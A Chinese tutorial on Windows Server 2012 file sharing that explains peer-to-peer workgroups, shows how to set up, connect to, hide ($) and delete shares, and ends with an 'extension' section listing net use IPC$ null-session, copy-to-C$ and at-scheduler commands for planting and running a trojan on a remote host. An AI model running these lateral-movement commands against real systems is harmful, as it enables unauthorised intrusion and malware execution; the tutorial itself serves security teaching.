二十四、windows系统安全---windows共享安全

环境

windows 2012

原理

对等网络

对等网络，即对等计算机网络，是一种在对等者（Peer）之间分配任务和工作负载的分布式应用架构，是对等计算模型在应用层形成的一种组网或网络形式。“Peer”在英语里有“对等者、伙伴、对端”的意义。因此，从字面上，P2P可以理解为对等计算或对等网络。国内一些媒体将P2P翻译成“点对点”或者“端对端”，学术界则统一称为对等网络（Peer-to-peer networking）或对等计算（Peer-to-peer computing），其可以定义为：网络的参与者共享他们所拥有的一部分硬件资源（处理能力、存储能力、网络连接能力、打印机等），这些共享资源通过网络提供服务和内容，能被其它对等节点（Peer）直接访问而无需经过中间实体。在此网络中的参与者既是资源、服务和内容的提供者（Server），又是资源、服务和内容的获取者（Client）

默认 Windows 都是在 WORKGROUP 工作组，也就是组成一个对等网络

步骤

配置共享文件

1.启动共享网卡

在 控制面板\网络和 Internet\网络连接中，右击属性并勾选"Microsoft网络文件和打印机共享"然后保存更改

2.启动网络发现与共享

在控制面板\所有控制面板项\网络和共享中心\高级共享设置中选则“启用网络发现”

3.在F盘新建一个sharetest文件夹，并在文件夹中创建一个文本文件，右击文件夹属性

4.点击共享

5.选择everyone并添加，

6…然后再点击共享

连接共享

1. 通过windows主机名连接（主机名为共享文件所属的主机主机名）

   \\Windows主机名\共享
   

   

   

2. 通过IP地址连接（IP为共享文件所属的主机IP）

   \\IP\共享文件夹
   

   

创建隐藏共享

1.新建文件夹hidden并在文件夹中创建一个记事本写入hello

2.右击hidden文件夹属性–共享–高级共享，并勾选“共享此文件夹”，在共享名中填写文件名后加$,如flag$ 后点击确定。

3.可以看到共享文件夹的访问路径

4.通过路径访问，可以看到该共享文件

只访问该主机名时，无法看到该共享文件

从而达到了隐藏共享的文件目的

同时也可以在命令行中，使用 net share 查看隐藏命令

删除共享

net share 共享名  /delete

扩展

建立 ipc$空连接

net use \\IP\ipc$ /u:" " "" 

复制本地指定目录的木马文件到目标的 C 盘下

copy c:\exe \\IP\c$ 

查看目标主机的时间

net time \\IP 

指定时间执行目标主机指定目录的程序

at \\IP 11:30:00 c:\exe